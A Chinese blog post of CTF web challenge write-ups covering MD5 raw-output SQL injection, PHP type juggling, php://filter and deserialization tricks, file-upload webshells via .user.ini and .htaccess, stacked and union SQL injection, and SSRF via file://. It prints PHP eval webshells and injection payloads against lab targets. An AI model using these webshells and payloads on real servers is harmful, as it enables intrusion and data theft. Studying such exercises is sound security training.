资讯详情

Web 渗透题(三)

[BJDCTF2020]Easy MD5–ffifdyop 弱类型比较

步骤一:ffifdyop 字符串

提交两次无反应,上 burp

GET /leveldo4.php?password=123 HTTP/1.1 Host: 3b74d3ab-4e56-4c99-b522-35a4985ebe8f.node4.buuoj.cn:81 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://3b74d3ab-4e56-4c99-b522-35a4985ebe8f.node4.buuoj.cn:81/leveldo4.php?password=4356 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: UM_distinctid=17cfd365782284-0647ac1c66ec6d-123b6650-1aeaa0-17cfd3657834fc Connection: close 

一个出现在响应包的上部

Hint: select * from 'admin' where password=md5($pass,true) 
  • md5(string,raw)

  • string 要计算的字符串 raw是可选项  - true,返回原16字符二进制格式  - false,默认情况下,返回32字符16进制数 

如果md5值经过hex变成字符串后 'or' 'xxxx' 这样的字符串是拼接后形成的SQL语句为

select * from `admin` where password=''or'balabala' 

'or' 后面的值为True实现时,可以构成通用密码SQL注入,MYSQL 作为布尔型判断的一个特征是 开头的字符串将被用作整形数。

password=‘xxx’ or ‘123xxxxxxxxx’ 相当于 password=‘xxx’ or 123  相当于 password=‘xxx’ or true 

这是我们的突破点,参考博客

常用的字符串是 ffifdyop,该字符串md5加密后若raw参数为True时会返回 'or'6<trash>,(<trash>事实上,只要第一个是非零数字,就可以判定为一些乱码和不可见字符True,后面的<trash>会在MySQL将其转换为整形比较时丢失),参考博客

select * from `admin` where password=''or'6<trash>'           ---> True 

第二步:弱类型比较

新页面出现,查看源码

<!-- $a = $GET['a']; $b = $_GET['b'];  if($a != $b && md5($a) == md5($b)){ 
             // wow, glzjin wants a girl friend. --> 

这里要求a和b但是md5值相同,这里的两个等号等于弱相,所以只要找到两个明文a、b的md5值前面的数字相同,但后面的字符串不同,如0exxxx 属于字符串 md5 博客提供了一些合格的字符串

QNKCDZO ==> 0e830400451993494058024219903391 s878926199a ==> 0e545993274517709034328855841020 s155964671a ==> 0e342768416822451524974117254469 s214587387a ==> 0e848240448830537924465865611904 

构造 payload

xxx/levels91.php?a=s878926199a&b=s155964671a 

有一条信息

<script>window.location.replace('./levell14.php')</script> 

跳转

<?phperror_reporting(0);include "flag.php";highlight_file(__FILE__);if($_POST['param1'] !== $_POST['param2']&&   md5($_POST['param1']) === md5($_POST['param2'])){ 
             echo $flag;}

分析,要求两个参数明文不等且 md5 值相同,与第二步不同的是这里md5值比较是强相等,这里需要用到 php 的特性

md5(array()) = nullsha1(array()) = null    ereg(pattern,array()) = null vs preg_match(pattern,array) = falsestrcmp(array(), "abc") = nullstrpos(array(),"abc") = null

md5() 函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。因此可以构造 payload,即可得到 flag(要注意是 POST 提交)直接 hackbar

xxx/levell14.php?param1[]=1&param2[]=2得flag{0f0de89d-3186-4277-b899-4b294371c901}

[ZJCTF 2019]NiZhuanSiWei——伪协议

源码分析

<?php  $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 
             echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";    if(preg_match("/flag/",$file)){ 
                 echo "Not now!";        exit();     }else{ 
                 include($file);  //useless.php $password = unserialize($password); echo $password; }}else{ highlight_file(__FILE__);}?>

步骤一

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

需要让 $text 参数的内容为“welcome to the zjctf”,只要写入即可,这里有使用 data://php://input 两种方式,具体使用细节在知识点中阐述。

text=data://text/plain,welcome to the zjctf

构造上述即可绕过

步骤二

if(preg_match("/flag/",$file)){ 
           echo "Not now!";  exit(); }else{ 
           include($file);  //useless.php $password = unserialize($password); echo $password;}

$file 参数中不能出现 flag 字样,看到提示 useless.php,先包含它看一下(因为是php文件,我们想看到内容就需要 php://filter 伪协议)

file=php://filter/convert.base64-encode/resource=useless.php

拼接之前的 $text 得到结果

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

看到 = 号,猜测 Base64 解密,得到

<?php  class Flag{ 
           //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?> 

定义了Flag类,里面有 __tostring 魔术方法,它是在类被当成字符串的时候调用,然后获取file的值并输出,这里也提醒了我们 flag.php

步骤三

现在我们就包含 useless.php 文件,后面对 password进行了反序列化,我们只要让 password 反序列化出 Flag 类,当 echo password被当做字符串输出时,所以会调用该类的__tostring(),然后会输出file_get_contents($this->file),因此我们想获取 flag.php 的内容,只需要反序列化 Flag 类时指定属性 file=flag.php

<?php  class Flag{ 
           //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $password=new Flag();echo serialize($password);?> 

得到

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

构造 payload,这里 file 不需要读取了,指定useless.php 即可

/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码拿到 flag

return ("flag{a5ade601-8881-4272-a4b4-39c5eef51f33}");

知识点

TODO:伪协议整理

data://				写入数据php://input		执行phpphp://filter	读取文件内容

[SUCTF 2019]CheckIn——.user.ini

解题思路

显示上传,尝试上传一句话木马 a.php

<?php @eval($_POST['shell']);?>

提示 illegal suffix!,修改后缀为 phtml,修改内容

<script language="php"> eval($_REQUEST['shell']);</script>

同样显示 illegal suffix!,加文件头 GIF89a 并改名为 a.jpg 尝试

Your dir uploads/9f5001cfc050d7bd94ad32c82c815371Your files :array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "a.jpg" [3]=> string(9) "index.php" }

上传成功,尝试抓包上传,再修改后缀为 jpg,显示上传失败,菜刀是无法连接 jpg 文件的。

.user.ini 文件,当我们对该目录中的任何php文件进行访问时,都会调用 .user.ini 中所指的文件以php的形式进行读取,所以我们只要在 .user.ini 文件中指向一句话木马的图片即可,然后解析图片马。正确做法是:

这里写文件时一定要加上文件头,因为使用了exif_imagetype检查文件头是否为图片

GIF89aauto_prepend_file=a.jpg

然后上传图片马 a.jpg,上传好后,提示当前目录,注意到上传目录下还有一个 index.php,我们正好需要该目录下有一个可执行php文件,直接执行

Your dir uploads/9f5001cfc050d7bd94ad32c82c815371Your files :array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "a.jpg" [4]=> string(9) "index.php" }

执行

/uploads/9f5001cfc050d7bd94ad32c82c815371/index.php?shell=phpinfo();

正常访问,直接菜刀连接根目录拿 flag

flag{f3f01e2a-33c7-407b-be53-a709e9f995be}

知识点

  • .user.ini 作用和配置
  • GIF89a图片头文件欺骗

[MRCTF2020]你传你马呢——.htaccess

解题思路

尝试上传 test.php

<?php @eval($_POST['shell']);?>

得到结果是 “我扌your problem?”,说明没上传成功被骂了,猜测可能是文件名的问题,尝试 php3、php4、php5等都没有成功

这里的思路是上传图片后缀名的文件,之前碰到过图片.jpg并不能被服务器当作 php 脚本来解析,还是需要有别的文件来辅助

  1. 通过上传 .user.ini 文件指定要读取 .jpg 的文件名,前提是上传的目录中已有 php 文件,比如CheckIn 这道题中上传完图片提示该目录中存在 index.php 文件,我们要利用它拿 webshell
  2. 通过上传 .htaccess 文件(在知识点中介绍了该文件)

此处由于不知道目录中有无其他 php 文件,因此选择第二种方式,编写 test.jpg,内容为

<?php @eval($_POST['shell']);?>

此处没有加文件头,再次尝试,上传成功显示

/var/www/html/upload/5ee9f4743e3e311a7dac5ce86c61a075/test.jpg succesfully uploaded!

再上传 .htaccess 文件,文件内容为(注意不要加前缀)

SetHandler application/x-httpd-php

在一篇博客中看到的是,需要指定文件名才能被当作php执行,比如这里制定了 test.php,但我在实际操作中使用上面一行也能得到flag。

<FilesMatch "test.png">SetHandler application/x-httpd-php</FilesMatch>

直接上传发现是失败的,还是抓包改成图片格式来上传,显示上传成功

/var/www/html/upload/5ee9f4743e3e311a7dac5ce86c61a075/.htaccess succesfully uploaded!

菜刀连接,根目录下拿 flag

xxx/upload/5ee9f4743e3e311a7dac5ce86c61a075/test.jpgshell

知识点

.htaccess是什么 参考文章

.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含多个指令的文件, 以作用于此目录及其所有子目录。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

[MRCTF2020]Ez_bypass——强弱类型绕过

解题思路

打开网站,审计代码

I put something in F12 for youinclude 'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])) { 
             $id=$_GET['id'];    $gg=$_GET['gg'];    if (md5($id) === md5($gg) && $id !== $gg) { 
                 echo 'You got the first step';        if(isset($_POST['passwd'])) { 
                     $passwd=$_POST['passwd'];            if (!is_numeric($passwd))            { 
                          if($passwd==1234567)                 { 
                              echo 'Good Job!';                     highlight_file('flag.php');                     die('By Retr_0');                 }                 else                 { 
                              echo "can you think twice??";                 }            }            else{ 
                         echo 'You can not get it !';            }        }        else{ 
                     die('only one way to get the flag');        }		}    else { 
                 echo "You are not a real hacker!";    }}else{ 
             die('Please input first');}}Please input first

第一步,要求满足 md5($id) === md5($gg) && $id !== $gg值不相等,但是 md5相等,这个之前碰到过,属于 ,md5在处理数组时返回的是null,因此只需要构造两个不同数组即可

gg[]=1&id[]=2

第二步,passwd 不能是数字,且值为 1234567,且是弱类型比较,因此 使用字符串 1234567a即可

发一个 POST 包(passwd=1234567a)到xxx/gg[]=1&id[]=2即可得 flag

知识点

  • md5 强弱类型比较
  • php 强弱类型比较

[GYCTF2020]Blacklist–堆叠注入

解题思路

尝试,输入1,正常显示,输入1',报错。输入1'#正常

尝试 1' order by 3#,显示

error 1054 : Unknown column '3' in 'order clause'

尝试 1' order by 2#,返回结果,说明有两列

尝试 1' union select 1,2# ,返回以下内容,说明被过滤

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

有点类似之前的堆叠注入

查库:1';show databases;#查表:1';show tables;#

其中有一张表显示有 flag

array(1) {  [0]=>  string(8) "FlagHere"}array(1) {  [0]=>  string(5) "words"}

分别查两个表中的列

1';show columns from `FlagHere`;# (FlagHere 这的是 tab 上方的引号)array(6) {  [0]=>  string(4) "flag"  [1]=>  string(12) "varchar(100)"  [2]=>  string(2) "NO"  [3]=>  string(0) ""  [4]=>  NULL  [5]=>  string(0) ""}1';show columns from `words`;# (里面有 id 和 data 两个字段)array(6) {  [0]=>  string(2) "id"  [1]=>  string(7) "int(10)"  [2]=>  string(2) "NO"  [3]=>  string(0) ""  [4]=>  NULL  [5]=>  string(0) ""}array(6) {  [0]=>  string(4) "data"  [1]=>  string(11) "varchar(20)"  [2]=>  string(2) "NO"  [3]=>  string(0) ""  [4]=>  NULL  [5]=>  string(0) ""}

方法一:Handler(成功)

具体用法见之前笔记

1';handler `FlagHere` open as `f`;handler `f` read first;#

得到 flag

array(1) {  [0]=>  string(42) "flag{6770dad8-fed4-46e8-963f-00bfa94f0148}"}

方法二:构造 payload(失败)

查询中关键字都被过滤了,考虑编码的方式来绕过,通过预处理函数,进行读取数据。,payload 内容如下

1';Set @a=concat("sele","ct ","* from `FlagHere`");prepare execsql from @a;execute execsql;#

无法绕过

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

方法三:偷天换日(失败)

在这里的两个表为 FlagHere、wordswords 中有 id 和 data 两个字段,FlagHere 中有 flag 字段,当我们输入 1的时候,回显的是

array(2) {  [0]=>  string(1) "1"  [1]=>  string(7) "hahahah"}

其中有两个数据,猜测应该是 words 表,内部的语句应该是为

select id,data from words where id='$id';

操作是

  1. words 表名替换成其他的比如 words2
  2. 然后将 FlagHere 这个表名称替换成 words
  3. 在把flag这个字段替换成data
  4. 最后再插入一个 id 字段

通过这种方式,查询结果就可以输出我们构造的新 words

# 前缀 1';(这里省略,一下三句连起来输入)alter table words rename to words2;alter table FlagHere rename to words;alter table words change flag id varchar(50);#

最后查询即可。

因为前面的关键字都禁用了,所以这个也是失败的

[网鼎杯 2018]Fakebook——SQL注入+SSRF

解题思路

尝试,join进去(注意blog有网址检测,输入普通字符提示非法),username 可以点进去,观察 url 中的参数,发现 no 可以注入

?no=1 and 1 回显正常?no=1 and 0 回显错误

判列数

?no=1 order by 8 回显错误?no=1 order by 4 回显正确

显位

?no=1 union select 1,2,3,4

显示 no hack ~_~ 说明存在过滤

,使用/**/ 替换空格绕过。

显位

?no=1/**/and/**/0/**/union/**/select/**/1,2,3,4

在 username 中显示 2,说明第二位能显示

接下来是常规操作,

爆库输入:database()输出:fakebook爆表(这边得要括号括起来)输入:(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook')输出:users爆列名(这边得要括号括起来)输入:(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='users')输出:no,username,passwd,data查看 data 中的数据输入:(select/**/group_concat(data)/**/from/**/users)输出:O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:5:"a.com";}

我们得到的其实是 UserInfo 序列化后的结果,这里参考一篇博客,利用的变量在构造函数中,反序列化对象会自动执行构造函数,将需要构造的 SSRF 放在 blog 属性中,让其在反序列化时被调用

<?phpclass UserInfo{ 
             public $name = "1";    public $age = 1;    public $blog = "file:///var/www/html/flag.php";}$u = new UserInfo();echo serialize($u);// O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}?>

view.php?no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23

构造 payload,blog属性在第四位

?no=1/**/and/**/0/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

F12 在控制台中找到 blog 的 src

<iframe width="100%" height="10em" src="data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3szMGIxYmNhYS1mYzJmLTQzYTktOTcxNC01MmE4MzFhODgwNzZ9IjsNCmV4aXQoMCk7DQo=">

base 64 解密得

<?php$flag = "flag{30b1bcaa-fc2f-43a9-9714-52a831a88076}";exit(0);

知识点

todo https://www.codenong.com/cs105451530/

没写完

[RoarCTF 2019]Easy Java

打开是一个登入界面,尝试点击help,弹出一个错误,提示了help.docx , 发现是GET请求,直接用hackbar发送post请求发现能下载,但是flag不在文件里,文件里也没有其它提示。

查阅 wp 发现需要将 post 请求的文件名改为 WEB-INF/web.xml,这里主要也是考这个

https://blog.51cto.com/u_15077552/3628761

https://blog.csdn.net/SopRomeo/article/details/104201079

https://mayi077.gitee.io/2020/01/31/RoarCTF-2019-Easy-Java/

标签: t311a系列压力变送器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台